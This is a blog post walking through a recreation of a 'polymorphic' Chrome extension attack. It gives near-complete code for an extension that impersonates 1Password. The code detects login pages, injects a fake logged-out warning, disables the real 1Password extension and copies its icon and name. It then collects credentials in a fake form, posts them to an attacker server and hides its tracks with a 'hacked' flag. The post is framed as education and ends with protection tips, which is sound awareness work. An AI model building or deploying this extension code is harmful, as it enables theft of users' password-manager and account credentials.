Stealing credentials via polymorphic Chrome Extension
14/04/2025A few days ago, I came across new research explaining a novel cybersecurity attack via polymorphic Chrome Extension. After watching the demo video, I was curious to understand how exactly it could be implemented and decided to spend some time recreating it.
In this blog post, I'll walk through my implementation, but first, a little disclaimer.
- I am writing this blog post for educational purposes only. This attack leverages publicly available Chrome APIs, so it can be build by anyone relatively easily and quickly. I am writing this because I like to understand how things work and I do that by building but I also hope that by explaining the implementation, people will be more aware of what a Chrome extension can do and the risks involved.
- I take no responsibility for the consequences you may face if you decide to use the information shared in this post to publish a malicious extension.
(If you learn better by watching videos, here's a walkthrough I recorded on YouTube.)
Demo
This demo and blog post focus on 1Password but this attack can be used to impersonate any company! Attackers could steal credentials from crypto wallets or anything that would seem valuable. In this demo, I only built the fake 1Password login UI but a real malicious extension would be disguised as a useful tool (in the original research, an AI marketing assistant) and would swap its interface to a fake UI when opened on a login page.
Attack stages
I started by thinking about the different steps involved in the attack so I could break down the features and build them one day one. Here's what I ended up with:
- Detect that the user is on a login page.
- Display a popup alerting the user that they have been logged out and need to log back in.
- Disable the real 1Password extension.
- Replace the malicious extension's logo with the 1Password logo and also replace its name with "1Password".
- When the malicious extension opens, show the fake 1Password login UI and hide the injected popup.
- On submit, send the credentials to the attacker's server.
- Close the fake 1Password popup.
- Re-enable the real 1Password extension.
- Replace the malicious extension's logo with its original logo and replace its name.
- Reload the login page.
- Store some kind of flag to indicate the user has been hacked, just so the attack isn't triggered again to avoid raising suspicion.
Now that the phases are laid out, let's implement them.
Detecting a user is on a login page.
This part can be implemented multiple ways. In a content script, you can check that the URL includes the word "login", "signin" or any variation.
// content script
if (
window.location.href.includes("login") ||
window.location.href.includes("log-in") ||
window.location.href.includes("signin") ||
window.location.href.includes("sign_in")
) {
// do the thing
}
Another way is using similar code but in the background script and send a message to the content script:
// service worker
chrome.tabs.onUpdated.addListener(async function(tabId, changeInfo, tab) {
if (
tab.url.includes("login") ||
tab.url.includes("log-in") ||
tab.url.includes("signin") ||
tab.url.includes("sign_in")
) {
chrome.tabs.sendMessage(tab.id, { type: "login" }, function(response) {});
}
});
// content script receiving the message
chrome.runtime.onMessage.addListener(async (message) => {
if (message.type === "login") {
// do the thing
}
});
Both work but the choice depends on a part of the attack that happens later. Spoiler, it depends on how we decide to keep track of the fact that the user has been hacked or not. We don't have to keep track but if we imagine that we're real hacker, we want to avoid being detected and with the code above, the message is sent to the content script every time the user visits a login page, even after they're hacked and that's not good. So, once the user has fallen for our hack, we want things to work just as usual so we need to store some kind of flag.
Injecting a popup
Once I detect that the user opened a new tab to a login page, I worked on creating a fake popup and inject it onto the page. For this, I wrote some "old school" vanilla JS 💚.
const appendPopup = () => {
const section = document.createElement("section");
section.id = "1password-logged-out-warning";
section.style.position = "absolute";
section.style.top = "10px";
section.style.right = "10px";
section.style.backgroundColor = "rgb(246, 247, 248)";
section.style.borderRadius = "6px";
section.style.padding = "2em";
section.style.width = "500px";
section.style.letterSpacing = "-0.03em";
const logo = document.createElement("img");
logo.src = chrome.runtime.getURL("1Password_icon_128.png");
logo.style.width = "75px";
logo.style.height = "75px";
const h2 = document.createElement("h2");
h2.textContent = "You have been logged out.";
h2.style.fontSize = "1.2rem";
h2.style.color = "rgba(0, 0, 0, 0.82)";
h2.style.fontWeight = "600";
h2.style.marginTop = "12px";
h2.style.marginBottom = "12px";
const content = document.createElement("div");
content.style.color = "#707070";
content.style.fontSize = "14px";
const p = document.createElement("p");
p.textContent =
"For security reasons, your 1Password session has expired. Please log in again to continue using 1Password in the browser.";
const ul = document.createElement("ul");
ul.style.listStyle = "initial";
ul.style.marginLeft = "1em";
const li1 = document.createElement("li");
li1.textContent = "Open the 1Password extension in your browser";
ul.appendChild(li1);
const li2 = document.createElement("li");
li2.textContent = "Sign in with your account credentials to restore access";
ul.appendChild(li2);
content.appendChild(p);
content.appendChild(ul);
section.appendChild(logo);
section.appendChild(h2);
section.appendChild(content);
document.body.append(section);
};
This function can now be called inside the content script, either with:
if (
window.location.href.includes("login") ||
window.location.href.includes("log-in") ||
window.location.href.includes("signin") ||
window.location.href.includes("sign_in")
) {
appendPopup();
}
or
chrome.runtime.onMessage.addListener(async (message) => {
if (message.type === "login") {
appendPopup();
}
});
At this point, after building the extension, and opening a login page, it looks like this.
However, if you have the real 1Password extension installed, it will show the autofill box under the login fields so it needs to be disabled.
Disabling the real 1Password extension
For this, I used the Chrome Management API in the service worker. When the tab is activated, I can list all the extensions installed, filter to see if the 1Password extension is there and if so, disable it. At the same time, I replace the malicious extensions' icon with the 1Password logo and I update the title of my extension to "1Password" so when the user hovers over the malicious extension, it displays "1Password" as its title (sneaky....😈).
To be able to use the Chrome management API, in the manifest.json
file, management
needs to be added in the permissions
array first.
"permissions": ["management"]
Then, you can get the extensions and disable them.
chrome.tabs.onUpdated.addListener(async function(tabId, changeInfo, tab) {
if (tab.url.includes("login")) {
const passwordExt = (await chrome.management.getAll()).filter((e) =>
e.name.includes("1Password")
)[0];
if (passwordExt?.id) {
await chrome.management.setEnabled(passwordExt.id, false);
await chrome.action.setIcon({ path: "1Password_icon_19.png" }); // The png file is in the public folder.
await chrome.action.setTitle({ title: "1Password" });
}
}
});
At this point, when visiting a login page, we can see the following:
Fake 1Password login UI
After prompting the user to open the malicious 1Password extension, I built a quick fake login screen. In the original research, they added a field for the user to enter their master key, but the purpose of this post is just to explain the attack, so I kept it simple.
I don't think it's necessarily interesting to show the React code as it is simply a form, however, one thing that's needed for the attack to seem more legitimate is to hide the popup injected when the user opens the extension.
First, tabs
needs to be added in the permissions
array of the manifest file.
Then, in my App.js
file, I query the id of the active tab and send a message to the content script to remove the element.
// App.js
useEffect(() => {
chrome.tabs.query({ currentWindow: true, active: true }, function(tabs) {
const activeTab = tabs[0].id;
chrome.tabs.sendMessage(activeTab, { type: "start" });
});
}, []);
// content script
chrome.runtime.onMessage.addListener(async (message) => {
if (message.type === "start") {
const div = document.getElementById("1password-logged-out-warning");
div.remove();
}
});
Now, it looks like this:
Sending the credentials
At this point, the user might enter their 1Password username and password. As an attacker, I can either send all keystrokes with an onChange
event, in case the victim realises they're being pawned and I can still try to hack them with partial credentials, or wait for the form to be submitted and send the full credentials using the onSubmit
form event.
When one of these events is triggered, I can make a POST
request to a custom server, or to an existing API to store credentials in a Google sheet for example. In my prototype, I simply have a local Express.js.
At the same time, I need to close the popup, re-enable the real 1Password extension and update the logo and title of my malicious extension.
const handleSubmit = async (event: any) => {
event.preventDefault();
const email = event?.target?.email?.value;
const password = event.target.password.value;
const passwordExt = (await chrome.management.getAll()).filter((e) =>
e.name.includes("1Password")
)[0];
if (passwordExt?.id) {
await chrome.management.setEnabled(passwordExt.id, true);
await chrome.action.setIcon({ path: "vite.png" });
await chrome.action.setTitle({ title: "AI Vibe coding" });
window.close(); // This closes the popup.
chrome.tabs.reload(); // This reloads the page to get the real 1Password extension to show the autofill prompt.
await chrome.storage.local.set({ hacked: true }); // This stores a flag so I don't repeat the flow
}
return await fetch("http://localhost:3000/data", {
method: "POST",
headers: {
Accept: "application/json",
"Content-Type": "application/json",
},
body: JSON.stringify({ username: email, password: password }),
});
};
In the code sample above, you can notice that I am storing a flag in the Chrome local storage of the extension. This is the part that I mentioned earlier, where I think it could be done in different ways. However, for this particular way to work, the manifest file needs to be updated with the storage
permission.
At this point, the attack is pretty complete! The user sent us their credentials and the real 1Password extension is re-enabled so it all works as expected to them!
The only thing I added was to check first if the user has been hacked by using:
const { hacked } = await chrome.storage.local.get(["hacked"]);
and then wrapping some of the code with an if
statement checking if hacked
exists.
If you haven't watched the demo at the beginning of the post, here it is again to see all the steps together:
If you're interested in tinkering and trying it yourself, don't forget to call await chrome.storage.local.clear()
while inspecting the service worker of the malicious extension to reset the state to "unhacked".
How you can protect yourself
Unfortunately, I always think the best protection is to avoid installing unecessary software on your machine. An extension might seem super useful but you really don't know what you're installing. I tend to trust more extensions built by trusted sources such as an actual company but even then, I actually don't use the 1Password extension, I installed it just for this demo.
If you do want to install random extensions anyway, you can read their permissions by navigating to chrome://extensions
, clicking on the Details
button and reading the permissions
section. If something looks weird, it might actually be.
You could assume that if an extension was malicious, it would not have been approved but this extension uses publicly available APIs and features so as the approval is probably automated, I'm not surprised the extension built during the original research went through.
Another way to protect yourself is to enable 2FA everywhere you can if you haven't already done so. This way, even if an attacker has access to your login and password, they might not have the details necessary to go through the next authentication step. In the original research, the fake login popup prompted the user to enter their 1Password master key that would give an attacker full access to the victim's 1Password vault but even then, with 2FA enabled, it could prevent an attacker to access some plaforms.
Conclusion
In conclusion, this attack uses some Chrome APIs I had never used before so it was really cool to build.
It might be interesting to look through the documentation more and figure out if there are other features that could be implemented, especially using the Chrome management API.
I hope you found this as interesting as I did and that you learned something! Stay safe!